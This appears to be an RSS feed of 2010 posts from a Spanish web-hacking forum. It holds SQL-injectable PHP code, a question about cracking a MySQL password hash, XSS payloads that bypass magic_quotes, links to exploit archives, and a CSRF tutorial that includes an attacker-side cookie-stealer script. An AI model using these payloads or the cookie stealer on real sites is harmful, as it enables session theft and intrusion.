                    &lt;td width=&quot;5&quot; height=&quot;25&quot; class=&quot;normal&quot;&gt;&amp;nbsp;&lt;/td&gt;
                    &lt;td height=&quot;25&quot; class=&quot;normal&quot;&gt;Message&lt;/td&gt;
                    &lt;td height=&quot;19&quot; class=&quot;normal&quot;&gt;&lt;textarea name=&quot;message&quot; cols=&quot;40&quot; rows=&quot;10&quot; class=&quot;mytext&quot;&gt;<span class="sy1">&lt;?</span> <span class="kw1">print</span> <span class="re0">$message</span><span class="sy0">;</span> <span class="sy1">?&gt;</span>&lt;/textarea&gt;&lt;/td&gt;
                  &lt;/tr&gt;
                  &lt;tr &gt; 
                    &lt;td width=&quot;5&quot; height=&quot;25&quot; class=&quot;normal&quot;&gt;&amp;nbsp;&lt;/td&gt;
                    &lt;td height=&quot;25&quot; colspan=&quot;2&quot; align=&quot;center&quot; class=&quot;normal&quot;&gt;&lt;input type=&quot;submit&quot; value=&quot;Send Message&quot; name=&quot;B1&quot; class=&quot;mybutton&quot;&gt;&lt;/td&gt;
                  &lt;/tr&gt;
                &lt;/form&gt;
              &lt;/table&gt;
			  <span class="sy1">&lt;?</span>
			  <span class="br0">&#125;</span>
			  <span class="kw1">else</span>
			  <span class="br0">&#123;</span>
			  <span class="sy1">?&gt;</span>
			  &lt;table width=&quot;100%&quot; height=&quot;100%&quot; border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;
                &lt;form name=&quot;myform&quot;  method=&quot;post&quot; action=&quot;index.php&quot; &gt;
                  &lt;input type=&quot;hidden&quot; name=&quot;photoid2&quot; value=&quot;<span class="sy1">&lt;?</span> <span class="kw1">print</span> <span class="re0">$photoid</span><span class="sy0">;</span> <span class="sy1">?&gt;</span>&quot;&gt;
                  &lt;tr &gt; 
                    &lt;td width=&quot;98%&quot; height=&quot;19&quot; class=&quot;header&quot;&gt;You cannot send 
                      a message to yourself!&lt;/td&gt;
                  &lt;/tr&gt;
                &lt;/form&gt;
              &lt;/table&gt;
			  <span class="sy1">&lt;?</span>
			  <span class="br0">&#125;</span>
			  <span class="sy1">?&gt;</span>
            &lt;/div&gt;&lt;/td&gt;
        &lt;/tr&gt;
      &lt;/table&gt;
      &lt;br&gt;
    &lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;</pre><br />checksession.php<br /><pre class="php bbcode_geshi"><div class="head">Language: PHP</div><span class="sy1">&lt;?</span>
<span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/empty"><span class="kw3">empty</span></a><span class="br0">&#40;</span><span class="re0">$ses_username</span><span class="br0">&#41;</span><span class="br0">&#41;</span>
<span class="br0">&#123;</span>
	<span class="re0">$extra</span><span class="sy0">=</span><span class="st0">&quot;&quot;</span><span class="sy0">;</span>
	<span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$repusername</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="re0">$extra</span><span class="sy0">=</span><span class="st0">&quot;&amp;repusername=<span class="es4">$repusername</span>&quot;</span><span class="sy0">;</span>
	<span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$rphid</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="re0">$extra</span><span class="sy0">=</span><span class="st0">&quot;&amp;rphid=<span class="es4">$rphid</span>&quot;</span><span class="sy0">;</span>	
	<a href="http://www.php.net/header"><span class="kw3">header</span></a><span class="br0">&#40;</span><span class="st0">&quot;location:index.php?cmd=3<span class="es4">$extra</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
<span class="br0">&#125;</span> 
<span class="sy1">?&gt;</span></pre><br /><br />Index.php<br /><br /><pre class="php bbcode_geshi"><div class="head">Language: PHP</div>case 12:$file=&quot;postcomment.php&quot;;
				$rphid=$phid;
				include(&quot;checksession.php&quot;);
				if(isset($comment))
				{
					$approved=getSetting(&quot;APPROVECOMMENTS&quot;);
					$sql=&quot;insert into comments(comment,photosid,byusername,approved,postdate) values('$comment',$phid,'$ses_username','$approved',now())&quot;;
					newCommentPosted($ses_username,$phid);
					$res=mysql_query($sql);
						$mheading=&quot;Comments saved&quot;;
						$mmessage=&quot;Your comments has been saved!&quot;;
						$file=&quot;displaymessage.php&quot;;					
				}
				break;</pre><br /><br />displaymessage.php<br /><br /><pre class="html4strict bbcode_geshi"><div class="head">Language: HTML</div><span class="sc2">&lt;<a href="http://december.com/html/4/element/table.html"><span class="kw2">table</span></a> <span class="kw3">width</span><span class="sy0">=</span><span class="st0">&quot;100%&quot;</span> <span class="kw3">height</span><span class="sy0">=</span><span class="st0">&quot;100%&quot;</span> <span class="kw3">border</span><span class="sy0">=</span><span class="st0">&quot;0&quot;</span> <span class="kw3">cellpadding</span><span class="sy0">=</span><span class="st0">&quot;0&quot;</span> <span class="kw3">cellspacing</span><span class="sy0">=</span><span class="st0">&quot;0&quot;</span>&gt;</span>
                <span class="sc2">&lt;<a href="http://december.com/html/4/element/form.html"><span class="kw2">form</span></a> <span class="kw3">name</span><span class="sy0">=</span><span class="st0">&quot;myform&quot;</span> <span class="kw3">action</span><span class="sy0">=</span><span class="st0">&quot;index.php?cmd=5&quot;</span> <span class="kw3">method</span><span class="sy0">=</span><span class="st0">&quot;post&quot;</span> <span class="kw3">onsubmit</span><span class="sy0">=</span><span class="st0">&quot;javascript: return checkifvalid();&quot;</span>&gt;</span>
                  <span class="sc2">&lt;<a href="http://december.com/html/4/element/tr.html"><span class="kw2">tr</span></a> &gt;</span> 
                    <span class="sc2">&lt;<a href="http://december.com/html/4/element/td.html"><span class="kw2">td</span></a> <span class="kw3">width</span><span class="sy0">=</span><span class="st0">&quot;5&quot;</span>  <span class="kw3">class</span><span class="sy0">=</span><span class="st0">&quot;header&quot;</span>&gt;</span><span class="sc1">&amp;nbsp;</span><span class="sc2">&lt;<span class="sy0">/</span><a href="http://december.com/html/4/element/td.html"><span class="kw2">td</span></a>&gt;</span>
                    <span class="sc2">&lt;<a href="http://december.com/html/4/element/td.html"><span class="kw2">td</span></a> <span class="kw3">width</span><span class="sy0">=</span><span class="st0">&quot;100%&quot;</span> <span class="kw3">height</span><span class="sy0">=</span><span class="st0">&quot;20&quot;</span> <span class="kw3">colspan</span><span class="sy0">=</span><span class="st0">&quot;2&quot;</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">&quot;header&quot;</span>&gt;&lt;? print $mheading;?&gt;&lt;<span class="sy0">/</span><a href="http://december.com/html/4/element/td.html"><span class="kw2">td</span></a>&gt;</span>
                  <span class="sc2">&lt;<span class="sy0">/</span><a href="http://december.com/html/4/element/tr.html"><span class="kw2">tr</span></a>&gt;</span>
                  <span class="sc2">&lt;<a href="http://december.com/html/4/element/tr.html"><span class="kw2">tr</span></a> &gt;</span> 
                    <span class="sc2">&lt;<a href="http://december.com/html/4/element/td.html"><span class="kw2">td</span></a> <span class="kw3">width</span><span class="sy0">=</span><span class="st0">&quot;5&quot;</span> <span class="kw3">height</span><span class="sy0">=</span><span class="st0">&quot;25&quot;</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">&quot;normal&quot;</span>&gt;</span><span class="sc1">&amp;nbsp;</span><span class="sc2">&lt;<span class="sy0">/</span><a href="http://december.com/html/4/element/td.html"><span class="kw2">td</span></a>&gt;</span>
                    <span class="sc2">&lt;<a href="http://december.com/html/4/element/td.html"><span class="kw2">td</span></a> <span class="kw3">height</span><span class="sy0">=</span><span class="st0">&quot;25&quot;</span> <span class="kw3">colspan</span><span class="sy0">=</span><span class="st0">&quot;2&quot;</span> <span class="kw3">class</span><span class="sy0">=</span><span class="st0">&quot;normal&quot;</span>&gt;&lt;? print $mmessage;?&gt;&lt;<span class="sy0">/</span><a href="http://december.com/html/4/element/td.html"><span class="kw2">td</span></a>&gt;</span>
                  <span class="sc2">&lt;<span class="sy0">/</span><a href="http://december.com/html/4/element/tr.html"><span class="kw2">tr</span></a>&gt;</span>
                <span class="sc2">&lt;<span class="sy0">/</span><a href="http://december.com/html/4/element/form.html"><span class="kw2">form</span></a>&gt;</span>
              <span class="sc2">&lt;<span class="sy0">/</span><a href="http://december.com/html/4/element/table.html"><span class="kw2">table</span></a>&gt;</span></pre><br />Lo habia divido la vez anterior para que sea entendible pero mi internet no anda muy bien sepan disculpar y gracias de ante mano por tomarse el tiempo de leer el codigo.]]></description>
<dc:creator>Escenc3</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Wed, 03 Mar 2010 08:44:08 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,6499,6499#msg-6499</guid>
<title>Duda sobre bypassear un WAF con XSS (9 replies)</title><link>https://foro.undersecurity.net/read.php?15,6499,6499#msg-6499</link><description><![CDATA[Bueno tengo una duda con un supuesto XSS en una pagina web, resulta que he inyectado en el buscador del web un simple alert y me ha salido un cartel diciendo que se habia detectado un ataque XSS y que mi peticion habia sido bloqueada, entonces mi duda es la siguiente... ¿Es posible que el buscador de la pagina web no sea vulnerable y sea una medida de seguridad extra? ¿Y si fuese vulnerable, que formas habria para poder bypassearlo?, creo que hace tiempo vi un tutorial en el que se explicaba como bypassear los filtros de un waf con SQL y XSS pero no lo encuentro... :(<br /><br />Saludos!!]]></description>
<dc:creator>prodigy</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Thu, 13 May 2010 10:02:37 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,6484,6484#msg-6484</guid>
<title>consulta hash (2 replies)</title><link>https://foro.undersecurity.net/read.php?15,6484,6484#msg-6484</link><description><![CDATA[Estimados.<br />acudo a ustedes para preguntar a que tipo de hash correponde esto:<br /><br />*A4EF9FD509AC50C9C8C8272CAEC7733E3BB8C913<br /><br />esto esta estraido de una base de datos en mysql la version es 5.0.51a-3ubuntu5.4 e tratado de crackerarla con md5shear t con cain pensando que es md5 pero me dise que la longitud no corresponde si alguien me podria orientar se los agradeceria mucho]]></description>
<dc:creator>DTH R4Z13L</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Tue, 16 Feb 2010 19:56:28 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,6470,6470#msg-6470</guid>
<title>Bypass de magic_quotes_gpc() para explotar XSS via POST y Cookie (12 replies)</title><link>https://foro.undersecurity.net/read.php?15,6470,6470#msg-6470</link><description><![CDATA[Buenas, algunas veces necesitamos explotar un XSS via GET o via POST, pero nos no dejas porque al parecer tienen ON la directiva <a href="http://www.php-es.com/ref.info.html#ini.magic-quotes-gpc" target="_blank" rel="nofollow" ><i><b>magic_quotes_gpc</b></i></a> (Get, Post, Cookie), que nos escapa las comillas dobles y simples a barras invertidas, esto puede ser un problema al principio pero esto se puede bypassear con la función <i><a href="http://javascript.espaciolatino.com/lengjs/jsobjetos/strings/fromcharcode.htm" target="_blank" rel="nofollow" ><b>String.fromCharCode()</b></a></i>, ahora sito el texto:<br /><pre class="bbcode">
Este es un método global del objeto String que crea una cadena a partir de los
códigos Unicode  que se le pasen como parámetros.</pre><br />Bueno, para resumir, para poder explotar las magic_quotes_gpc, solo es necesario insertar un código javascript que no contenga comillas dobles y simples, para esto nos ayudara la función de javascript <b>String.fromCharCode().</b><br /><br /><br />Bueno, primero debo saber si tengo la directiva On en el php.ini<br /><br /><pre class="bbcode">
root@yoya-desktop:/# cat /etc/php5/apache2/php.ini|grep magic_quotes_gpc
magic_quotes_gpc = On</pre><br />Con esto ya sabemos que tenemos la directiva magic_quotes_gpc On.<br /><br /><b><span style="color:#FF0000">Nota:</span></b> Apartir de PHP 5.3.0 la directiva magic_quotes_gpc viene por defecto Off y apartir de la versión 6 de PHP sera eliminada.&lt;/span&gt;<br /><br />Explotaremos el siguiente archivo:<br /><pre class="php bbcode_geshi"><div class="head">Language: PHP</div><span class="kw2">&lt;?php</span>
<span class="coMULTI">/*Explotando XSS con magic_quote_gpc ON*/</span>
&nbsp;
<span class="re0">$var</span> <span class="sy0">=</span> <span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st_h">'form1'</span><span class="br0">&#93;</span><span class="sy0">;</span>
<span class="re0">$var2</span> <span class="sy0">=</span> <span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st_h">'form2'</span><span class="br0">&#93;</span><span class="sy0">;</span>
&nbsp;
<span class="kw1">if</span><span class="br0">&#40;</span><span class="sy0">!</span><a href="http://www.php.net/empty"><span class="kw3">empty</span></a><span class="br0">&#40;</span><span class="re0">$var</span><span class="br0">&#41;</span> <span class="sy0">&amp;&amp;</span> <span class="sy0">!</span><a href="http://www.php.net/empty"><span class="kw3">empty</span></a><span class="br0">&#40;</span><span class="re0">$var2</span><span class="br0">&#41;</span><span class="br0">&#41;</span>
<span class="br0">&#123;</span>
   <span class="kw1">echo</span> <span class="st0">&quot;El primer valor es: &quot;</span><span class="sy0">,</span> <span class="re0">$var</span><span class="sy0">;</span>
   <span class="kw1">echo</span> <span class="st0">&quot;&lt;br&gt;&quot;</span><span class="sy0">;</span>
   <span class="kw1">echo</span> <span class="st0">&quot;El segundo valor es: &quot;</span><span class="sy0">,</span> <span class="re0">$var2</span><span class="sy0">;</span>
   <a href="http://www.php.net/exit"><span class="kw3">exit</span></a><span class="sy0">;</span>
<span class="br0">&#125;</span>
<span class="sy1">?&gt;</span>
&lt;form name=&quot;Formulario&quot; action=&quot;proc.php&quot; method=&quot;POST&quot;&gt;
&lt;p&gt;Ingrese el primer parametro&lt;/p&gt;
&lt;input name=&quot;form1&quot; type=&quot;txt&quot; size=&quot;30&quot;&gt;
&lt;p&gt;Ingrese el Segundo parametro&lt;/p&gt;
&lt;input name=&quot;form2&quot; type=&quot;txt&quot; size=&quot;30&quot;&gt;
&lt;br&gt;
&lt;input type=&quot;submit&quot; value=&quot;Enviar&quot;&gt;
&lt;/form&gt;</pre><br /><img src="http://4.bp.blogspot.com/_MJ0MPdccOkk/S3mlIGoM05I/AAAAAAAAAFg/FjZ4QpdnIU4/s320/pro.png" class="bbcode" border="0" /><br />Ok, luego presionamos enviar y aparecerá lo siguiente:<br /><br /><pre class="bbcode">
El primer valor es: \&quot;Probando \&quot;comillas dobles\&quot;
El segundo valor es: \'Probando comillas simples\'</pre><br /><br />Podemos ver que nos a escapado las comillas dobles y simple con barras invertidas,<br />ok, si ponemos en el formulario, ok ahora usaremos la funcion String.fromCharCode() para pasar los parámetros necesario para ejecutar XSS pero lo tendremos que pasar en ascii, tengo hice una herramienta en perl para su uso.<br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="co1">#!/usr/bin/perl</span>
<span class="co1">#Code by Yoyahack</span>
<span class="co1">#yoyahack.blogspot.com</span>
<span class="co1">#Undersecurity.net </span>
&nbsp;
<span class="kw1">if</span><span class="br0">&#40;</span><span class="sy0">!</span><span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;Usage perl $0 &lt;text&gt;<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;Ex: perl $0 yoyahack<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/exit.html"><span class="kw3">exit</span></a><span class="sy0">;</span>
<span class="br0">&#125;</span> 
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;La cadena convertida a ASCII es:<span class="es0">\n</span>&quot;</span><span class="sy0">;</span> 
<span class="re0">$a</span> <span class="sy0">=</span> <span class="st_h">'&lt;script&gt;alert(&quot;Buenas, esto es un ejemplo&quot;)&lt;/script&gt;'</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <a href="http://perldoc.perl.org/functions/join.html"><span class="kw3">join</span></a> <span class="st_h">','</span><span class="sy0">,</span> <a href="http://perldoc.perl.org/functions/unpack.html"><span class="kw3">unpack</span></a> <span class="st0">&quot;U*&quot;</span><span class="sy0">,</span> <span class="re0">$a</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/exit.html"><span class="kw3">exit</span></a><span class="sy0">;</span></pre><br />Ok, la vamos a pasar y vamos a pasar el siguiente parametro a la tool en perl:<br /><pre class="bbcode">
&lt;script&gt;alert(&quot;Buenas, esto es un ejemplo&quot;)&lt;/script&gt;</pre><br />Y nos devolverá:<br /><br /><pre class="bbcode">
60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,66,117,101,110,97,115,44,32,101,115,116,111,32,101,115,32,117,110,32,101,106,101,109,112,108,111,34,41,60,47,115,99,114,105,112,116,62</pre><br /><br /><br />Ok ahora insertamos lo siguiente en el formulario:<br /><pre class="bbcode">
&lt;script&gt;document.write(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,66,117,101,110,97,115,44,32,101,115,116,111,32,101,115,32,117,110,32,101,106,101,109,112,108,111,34,41,60,47,115,99,114,105,112,116,62))&lt;/script&gt;</pre><br /><br />Y el resultado:<br /><br /><img src="http://1.bp.blogspot.com/_MJ0MPdccOkk/S3mp-K1JkCI/AAAAAAAAAFo/3xQ4cdkRz8k/s320/xss.png" class="bbcode" border="0" /><br /><br /><hr class="bbcode"/><br /><span style="color:#FF0000"><b><span style="font-size: large"><span style="font-size:x-large">Como afecta magic_quotes_gpc para el envió de cookies.</span></span></b></span><br /><br />Ok, tenemos el siguiendo source php.<br /><br /><pre class="php bbcode_geshi"><div class="head">Language: PHP</div><span class="kw2">&lt;?php</span>
<span class="coMULTI">/*Como afecta la directiva magic_quotes_gpc a las cookies*/</span>
<span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$_COOKIE</span><span class="br0">&#91;</span><span class="st_h">'xss'</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>
<span class="br0">&#123;</span>
    <span class="kw1">echo</span> <span class="st0">&quot;La cookie del usuario es: &lt;br&gt;&quot;</span><span class="sy0">.</span><span class="re0">$_COOKIE</span><span class="br0">&#91;</span><span class="st_h">'xss'</span><span class="br0">&#93;</span><span class="sy0">;</span>
    <a href="http://www.php.net/exit"><span class="kw3">exit</span></a><span class="sy0">;</span>
<span class="br0">&#125;</span>
&nbsp;
<span class="kw1">if</span><span class="br0">&#40;</span><span class="sy0">!</span><a href="http://www.php.net/empty"><span class="kw3">empty</span></a><span class="br0">&#40;</span><span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st_h">'campo'</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>
<span class="br0">&#123;</span> 
    <a href="http://www.php.net/setcookie"><span class="kw3">setcookie</span></a><span class="br0">&#40;</span><span class="st0">&quot;xss&quot;</span><span class="sy0">,</span> <span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st_h">'campo'</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy0">;</span>
    <a href="http://www.php.net/exit"><span class="kw3">exit</span></a><span class="sy0">;</span>
<span class="br0">&#125;</span>
<span class="sy1">?&gt;</span>
&lt;form name=&quot;Formulario&quot; action=&quot;proc.php&quot; method=&quot;POST&quot;&gt;
&lt;p&gt;Rellene el campo&lt;/p&gt;
&lt;br&gt;
&lt;input name=&quot;campo&quot; type=&quot;txt&quot; size=&quot;30&quot;&gt;
&lt;br&gt;
&lt;input type=&quot;submit&quot; value=&quot;Enviar&quot;&gt;
&lt;/form&gt;</pre><br />Ok, primero llenamos un formulario y los datos ingresados en el serán usado como cookies.<br /><img src="http://img203.imageshack.us/img203/1074/asasn.png" class="bbcode" border="0" /><br /><br />Luego se ejecutara esta linea:<br /><pre class="php bbcode_geshi"><div class="head">Language: PHP</div><span class="kw2">&lt;?php</span>
<span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$_COOKIE</span><span class="br0">&#91;</span><span class="st_h">'xss'</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>
<span class="br0">&#123;</span>
    <span class="kw1">echo</span> <span class="st0">&quot;La cookie del usuario es: &lt;br&gt;&quot;</span><span class="sy0">.</span><span class="re0">$_COOKIE</span><span class="br0">&#91;</span><span class="st_h">'xss'</span><span class="br0">&#93;</span><span class="sy0">;</span>
    <a href="http://www.php.net/exit"><span class="kw3">exit</span></a><span class="sy0">;</span>
<span class="br0">&#125;</span></pre><br />Significa que si la cookie llamada <b><u><i>&quot;xss&quot;</i></u></b> contiene un valor se ejecuta el if(), luego se muestra la cookie y se finaliza el script para que no siga.<br /><br />Al precionar enviar, el valor de la cookie <i><u><b>XSS</b></u></i> sera:<br /><img src="http://img693.imageshack.us/img693/7421/70630219.png" class="bbcode" border="0" /><br /><br />Hay vemos que nos han dañado la cookies, tambien podemos ver las cookies de la web.<br /><br /><img src="http://img693.imageshack.us/img693/448/23023304.png" class="bbcode" border="0" /><br /><br />El contenido de la cookie xss es:<br /><pre class="bbcode">
%5C%22Cookie+que+se+%5C%27usara+%5C%22</pre><br />Esta en url encode y al pasarla por url decode el resultado sera:<br /><pre class="bbcode">
\&quot;Cookie que se \'usara \&quot;</pre><br />También se puede ejecutar javascript solo si la web imprime el valor de la cookie, aunque las cookies no son para estar imprimiendo su valor y mayormente la pasan por md5() o por base64, pero siempre hay alguien que hace la exepcion .<br /><br />Saludos.]]></description>
<dc:creator>yoyahack</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Wed, 17 Feb 2010 01:29:54 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,6463,6463#msg-6463</guid>
<title>todos los videos y papers de milw0rm (no replies)</title><link>https://foro.undersecurity.net/read.php?15,6463,6463#msg-6463</link><description><![CDATA[http://rapidshare.com/files/308789411/milw0rm_papers_by_01hero.rar<br /><br />http://rapidshare.com/files/309396927/milw0rm_videos1to31_by_01hero.rar<br /><br /><br />http://rapidshare.com/files/309271337/milw0rm_videos31to51_by_01hero.rar<br /><br />http://rapidshare.com/files/309181945/milw0rm_videos52to79_by_01hero.rar<br /><br />http://rapidshare.com/files/308877563/milw0rm_videos80to_100by_01hero.rar<br /><br />http://rapidshare.com/files/309515937/milw0rm_videos101to104_by_01hero.rar<br /><br />http://rapidshare.com/files/309516982/01hero.nfo<br /><br />fuente: https://neworder.box.sk/forum/topic41313-milw0rm-papers-and-videos-rapidshare-links.html<br /><br />bueno amigines se los merecen por ser un gran comunidad informatica por siempre under security y muchismas grasias a todo]]></description>
<dc:creator>snake875</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Sun, 14 Feb 2010 00:24:30 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,6435,6435#msg-6435</guid>
<title>[Tutorial] Vulnerabilidad CSRF By ShadinessDark [Colaboracion de Zero Bits] (5 replies)</title><link>https://foro.undersecurity.net/read.php?15,6435,6435#msg-6435</link><description><![CDATA[No se si lo postee aki peor: Este tuto lo hice hace mucho colaborando una parte con mi amigo &quot;ShadinessDark&quot;, tuto por mi del cual se baso &quot;GUSON&quot;, comparenlos xDD, aunk el mio lleva mas time =):<br /><br /><center class="bbcode"><img src="http://blog.internetnews.com/skerner/smk/blackhat.jpg" class="bbcode" border="0" /></center><br /><center class="bbcode"><b>Inicio Tutorial Cross Site Request Forgery By ShadinessDark = Zero Bits</b></center><br /><br />1.) Presentación<br /><br />2.) Que es CSRF<br /><br />3.) Quien descubrió la vulnerabilidad CSRF<br /><br />4.) CSRF y Xss<br /><br />5) Robo de Cookies en XSS &amp; CSRF (Diferencia) - Colaboracion de Zero Bits<br /><br />6.) Testeando vulnerabilidad CSRF y programas el code vulnerable<br /><br />7.) Sacando una conclusión a todo<br /><br />8.) Como cuidar nuestra Web de este tipo de ataques<br /><br />9.) Despedida<br /><br /><br /><b><span style="color:red">1.) Presentación</span></b><br /><br />Primero que nada este tutorial va dedicado a mis amigos de BugDox y a todo los Lectores especialmente a los que no les caigo bien, muchos me harán criticas Y eso es Bueno porque Uds. Me corrigen como muchos saben yo me retire del DEFACING no Es que yo sea conocido ni nada por el estilo este tutorial lo he hecho de manera especial<br />Para dar la diferencia de otros tutoriales que he visto en la red…<br /><br /><b>¿Por qué diferente? </b><br /><br />Porque la mayoría de los tutoriales visto en la red son poco explicados para iniciados<br /><br /><b>¿A que se debe este tutorial? </b><br /><br />Bueno este tutorial no puedo decir que lo hago con el fin de bien lo hago para bien y Para mal lo hago con concepto de cómo explotarlo y concepto de cómo arreglarlo<br />No es mi culpa que un Web Master no me haga caso ¿Verdad?<br /><br />Los saludos más especiales para mis compañeros:<br /><br /><b>Zero Bits<br />KuTer<br />Jeferx<br />Darki113r<br />_84kur10_<br />Z1z30f<br />Kozmic.Kizz</b><br /><br /><span style="color:red"><b>2.) Que es CSRF </b></span><br /><br />Bueno como muchos quizás han leído en la wikipedia ya csrf representa a<br />Cross Site Request Forgery el ataque se efectúa cuando por ejemplo Vemos algo<br />Así <a href="http://Www.shadinessdark.net" target="_blank" rel="nofollow" > Presiona este link para que te lleve a mi sitio </a><br />Siempre el atacante usa como victima a un usuario que le brinda confianza la Web.<br />Los que tenemos foros sabemos que cada usuario tiene como destino un perfil donde<br />Cambiamos contraseña – email – nombre de usuario y otras cositas casi siempre el Atacante usa un código malicioso para hacer una petición en {GET – Post – HTTP}<br />Con esta vulnerabilidad el atacante le puede cambiar a la victima su información de PERFIL.<br /><br /><span style="color:red"><b>3.) Quien descubrió la vulnerabilidad CSRF</b></span><br /><br />En el 1988 Hardy Norma publico un documento que explique una solicitud cuestión nivel de confianza que llamo un<br />Diputado confuso. En 2000, un correo a bugtraq explico Zope fue afectado por un problema confuso<br />Web diputado que se define hoy como una vulnerabilidad CSRF mas tarde en el 2001 Peter Watkins publico una entrada<br />En la lista de correo bugtraq acuñar el termino CSRF en respuesta a otro hilo titulado<br />Los peligros de permitir a los usuarios colocar imágenes en los sitios Web.<br /><br />Bueno sobre quien lo descubrio ese credito si no me toca a mi esa parte es de <a href="http://www.cgisecurity.com/csrf-faq.html" target="_blank" rel="nofollow" >Aqui</a> solo lo logre traducir...<br /><br /><span style="color:red"><b>4.) CSRF y Xss </b></span><br /><br />Quizás muchas personas nos preguntamos o se preguntan si esta vulnerabilidad<br />Es parecida o igual a xss.<br /><br />Les explico bueno xss se aprovecha de la confianza de la victima que tiene el sitio<br />Web o aplicación el usuario lea ae contenido que aparece en su navegador que esta destinada y representada por el sitio Web que se esta viendo.<br /><br />El csrf se aprovecha de la confianza que el sitio tiene para la victima ósea usuario…<br /><br /><span style="color:red">4.1) Robo de Cookies en XSS &amp; CSRF (Diferencia) - Colaboracion de Zero Bits</span><br /><br />Bueno hay un metodo en XSS que algunos amigos me han dicho que se parece a el XSRF o CSRF, que son el ROBO DE COOKIES EN XSS y el CSRF, la verdad es que no ya que, el robo de cookies por xss como su nombre lo indica roba las cookies de cualquier usuario o administrador del sitio y el CSRF se encarga de ROBAR, VER y CAMBIAR cualquier informacion dependiendo de la victima que caiga.<br /><br />Vamos a ver un ROBO DE COOKIES EN XSS y un ataque CSRF clasico, para que vean un poco la diferencia...<br /><br />- ROBO DE COOKIES EN XSS<br /><br />Primero tendriamos que saber si el server es vulnerable a XSS o tambien podriamos probar que el code<br />URL y IMG en foros<br />no filtre bien el contenido que se le asigne.<br /><br />Para algunos que no entienden lo de URL y IMG es cuando dentro del URL agregariamos un link como <pre class="javascript bbcode_geshi"><div class="head">Language: Javascript</div>javascript:alert(&quot;xss&quot;)</pre>
y cuando se le de click se ejecute hay mismo, tambien podriamos agregar XSS con codes HEXADECIMALES (ya esto es otro tema, asi que no lo explicare).<br /><br />Bueno, en otro servidor aparte (que seria el nuestro) codeariamos un programa en PHP que se encargue de recibir al usuario victima y robarle las cookies apenas entre (Para esto se necesita saber por lo menos PHP BASICO)<br /><br /><br /><pre class="php bbcode_geshi"><div class="head">Language: PHP</div><span class="sy1">&lt;?</span>
<span class="re0">$cookie</span> <span class="sy0">=</span> <span class="re0">$_REQUEST</span><span class="br0">&#91;</span>cookie<span class="br0">&#93;</span><span class="sy0">;</span>
<span class="re0">$file</span><span class="sy0">=</span><a href="http://www.php.net/fopen"><span class="kw3">fopen</span></a><span class="br0">&#40;</span><span class="st0">&quot;cookies.txt&quot;</span><span class="sy0">,</span> <span class="st0">&quot;a&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
fput<span class="br0">&#40;</span><span class="re0">$file</span><span class="sy0">,</span> <span class="st0">&quot;<span class="es4">$cookie</span><span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
<a href="http://www.php.net/fclose"><span class="kw3">fclose</span></a><span class="br0">&#40;</span><span class="re0">$file</span><span class="br0">&#41;</span><span class="sy0">;</span>
